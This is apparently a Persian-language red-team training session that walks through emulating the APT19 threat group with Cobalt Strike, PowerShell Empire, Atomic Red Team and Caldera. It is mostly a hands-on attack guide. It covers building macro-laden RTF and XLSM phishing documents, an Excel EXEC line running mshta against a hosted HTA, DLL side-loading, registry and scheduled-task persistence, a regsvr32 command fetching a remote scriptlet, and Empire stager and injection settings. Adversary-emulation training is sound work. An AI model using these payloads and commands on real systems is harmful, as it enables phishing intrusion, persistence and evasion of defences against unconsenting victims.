پیاده سازی APT 19
جلسه سوم دوره کارآموزی شرکت مهندسی امن ارتباط سینداد
برای مشاهده آموزش کامل سناریو به لینک زیر مراجعه فرمایید:
APT 19
APT19, Codoso, C0d0so0, Codoso Team, Sunshop Group, Group G0073 | MITRE ATT&CK®
APT19 is a Chinese-based Threat Group That Has Targeted a variety of industries, including defense, finance, energy, pharmaceutical, Telecommunications, high-tech, education, manufacturing, and legal services. In 2017, a phishing campaign was used to Target seven law and investment firms. [1] Some analysts Track APT19 and Deep Panda as The same group, but it is unclear from open source information if The groups are The same
برای نصب و راه اندازی Empire از مستندات خود ابزار کمک بگیرید:
Installation – Empire Wiki (gitbook.io)
اول از Cobalt Strike شروع می کنم
برای ران کردنش از این روش استفاده می کنیم:
خوب بعد teamserver بریم وصل بشیم بهش :
خوب از خود cobalt میایم MACRO جنریت میکنیم بهمون کد VBA میده و بایند کنید به Listener http که ایجاد کردید
خوب یک پیلود RTF هم بسازیم. دیگه مجاب کردن ران کردن باز کردن XLSM و RTF شما نیاز به مهندسی اجتماعی داره بریم چک کنیم:
اول بریم یک RTF بسازیم word باز می کنم Developer را فعال می کنم:
حالا از TAB اش میایم تو بخش Visual Basic کدی که از cobalt گرفتم پیست می کنم.حتما حواستون باشه document_open فراخوانی بشه تا باز کرد ورد پیلود ران بشه.
خوب تست می کنم وقتی باز بشه RTF کلاینت به کنسول CS من اضافه میشه.
بریم یک weaponized روی اکسل بکنیم.
از این روش می تونیم HTA بسازیم که APT19 همین کار دقیقا کرده بعد از اینکه Generate کردید تموم شد باید این فایل HOST کنیم و بعد با XLSM اینو فراخوانی کنیم از سمت تارگت
از خود CS میریم برای host اش اقدام کنیم :
هر جا HTA ذخیره کردید انتخاب می کنیم:
وقتی لانچ بزنیم از سمت سرور ما اماده میشه همه چیز فقط ساخت فایل مخرب XLSM می ماند:
یه همچین خروجی بهمون باید بده :
http://192.168.219.128:80/salam.hta
خوب اکسل رو باز کنید :
از قسمت پایین سمت چپ روی sheet1 کلیک راست کنید و insert بزنید باید یک کنسول باز بشه براتون حالا ما MACRO ایجاد می کنیم:
=ALERT(“test”) |
=EXEC(“mshta.exe http://192.168.219.128:80/salam.hta”) |
حتما تو سلولی که پیلود میخواد اجرا بشه من اسمش رو می کنم Auto_Open که به محض باز شدن پیلود اجرا بشه می بینیم که به کنسول CS یک کلاینت اضافه می شه.
خوب اومدیم در تب ماکرو به این شکل باید پیلود های HTA بزاریم داخل اکسل :
حتما excel رو save as XLSM بزنید که ماکرو فعال باشه علاوه بر اون
تا اینجا کار
Command and Control
Commonly Used Port (T1043) – TCP port 80; Standard Application Layer Protocol (T1071) – HTTP; Deobfuscate/Decode Files or Information (T1140); Data Encoding (T1132) – used Base64 to encode communications to the C2 server
ما هم CS هم Empire استفاده می کنیم:
Initial Access
Spearphishing attachment (T1193); Spearphishing link (T1192)
XLSM, RTF
Execution
PowerShell (T1086); User Execution; Hidden Windows (T1143) – used -W Hidden to conceal PowerShell windows by setting the Window Style parameter to hidden; Obfuscated Files or Information (T1027) – used Base64 to obfuscate commands and the payload; DLL Side-Loading (T1073)
Dllsideloading
upload /home/soheil/Desktop/Payloads/rto.dll
اجرا روی تارگت
قبلش باید چک باشه entrypoint درست زدید
dumpbin.exe /exports rto.dll
rundll32 rto.dll,rto
Discover
System Owner/User Discovery (T1033); System Information Discovery (T1082) System Network Configuration Discovery (T1016)
Persistence
Registry Run Keys/ Start up Folder (T1060) – establishes persistence by setting the Registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows Debug Tools-%LOCALAPPDATA%\
SharPersist -t schtask -c “C:\Windows\System32\cmd.exe” -a “/c calc.exe” -n “Some Task” -m add -o hourly
SharPersist -t reg -c “C:\Windows\System32\cmd.exe” -a “/c C:\tmp\rto.exe” -k “hkcurun” -v “rto” -m add
SharPersist -t reg -c “C:\Windows\System32\cmd.exe” -a “/c C:\tmp\rto.exe” -k “hklmrun” -v “rto” -m add -o env
Defense Evasion
Regsvr32 (T1117); Scripting (T1064) – downloaded and launched code within a SCT file to bypass application whitelisting techniques
C:\Windows\System32\cmd.exe /c “C:\Windows\System32\regsvr32.exe /s /n /u /i: C:\Users\soheil\Downloads\beacon.sct scrobj.dll”
حالا بریم سراغ Powershell-empire
حتما قبلش با کامند یا docker نصب کنید.
ساخت Listener روی پورت 80
Type: http
Name: http
Host: http://10.0.0.187
Port: 80
BindIP: 10.0.0.187
Jitter: 0.5
StagingKey: georgy
Type: windows/hta
Listner: http
Base64: True
Language: powershell
Outfile: /tmp/Resume.hta
Mshta http://192.168.109.141:8000/cv.hta
Type: windows/launcher_sct
Listner: http
Base64: True
Language: powershell
Type: windows/dll
Listner: http
Arch: x86
Language: powershell
OutFile: /tmp/launcher.dll
Optional Fields
Obfuscate: True
ObfuscateCommand: Token\String\1
See processes running: ps
usemodule code_execution/invoke_reflectivepeinjection
set ProcID: <processID>
set DllPath: /tmp/launcher.dll
Discovery
antivirusproduct
get_uaclevel
winenum
persistence
usemodule persistence/userland/registry
set Listener: http
HKCU\Software\Microsoft\Windows\CurrentVersion
Defense evasion
C:\Windows\System32\cmd.exe /c “C:\Windows\System32\regsvr32.exe /s /n /u /i:http:\10.0.0.187:8080\launcher.sct scrobj.dll”
cd C:\Users\<username>
upload /tmp/file
shell C:\Users\<username>\<executable>
حالا بریم سراغ ART
برای نصب ART روی ویندوز باید پاورشل Nuget نصب کنیم:
Installing Invoke AtomicRedTeam · redcanaryco/invoke-atomicredteam Wiki · GitHub
Get-Host
Install-Module -Name invoke-atomicredteam,powershell-yaml -Scope CurrentUser
IEX (IWR ‘https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1’ -UseBasicParsing);
Install-AtomicRedTeam
IEX (IWR ‘https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicsfolder.ps1’ -UseBasicParsing);
Install-AtomicsFolder
خوب کار با ART یکم فرق میکنه با C2 ها باید بدونید کدام تاکتیک و تکنیک میخواید اجرا کنید قبل از هر اجرایی ببینید تاکتیک و تکنیک چی هست :
Invoke-AtomicTest T1003 –ShowDetailsBrief
Invoke-AtomicTest T1003 -ShowDetails
هر تکنیکی ممکنه نیاز داشته باشه به یک سری پیش نیاز مثلا سیستم عامل و …
Invoke-AtomicTest T1003 -CheckPrereqs
حالا می تونیم تکنیک مد نظر اینطوری اجرا کنیم:
Invoke-AtomicTest T1218.010 -TestNumbers 1,2
تکنیک ها رو میشه به صورت ریموت هم روی ویندوز لینوکس و مک اجرا کرد منتها باید روی تارگت ها Powershell core نصب کنیم و Powershell remote باز کنیم.
$sess = New-PSSession -ComputerName testcomputer -Credential domain\usernameInvoke-AtomicTest T1218.010 -Session $sess -GetPrereqsInvoke-AtomicTest T1218.010 -Session $sess
بهترین قسمتش Cleanup کردن به راحتی پس از هر تست ما می توانیم به راحتی تمام Cleanup کنیم بدون اینکه restore snapshot کنیم.
Invoke-AtomicTest T1218.010 -Cleanup
حالا بریم سراغ Caldera
برای مشاهده Emulation نحوه کار کردن با Caldera به ویدیو زیر مراجعه کنید: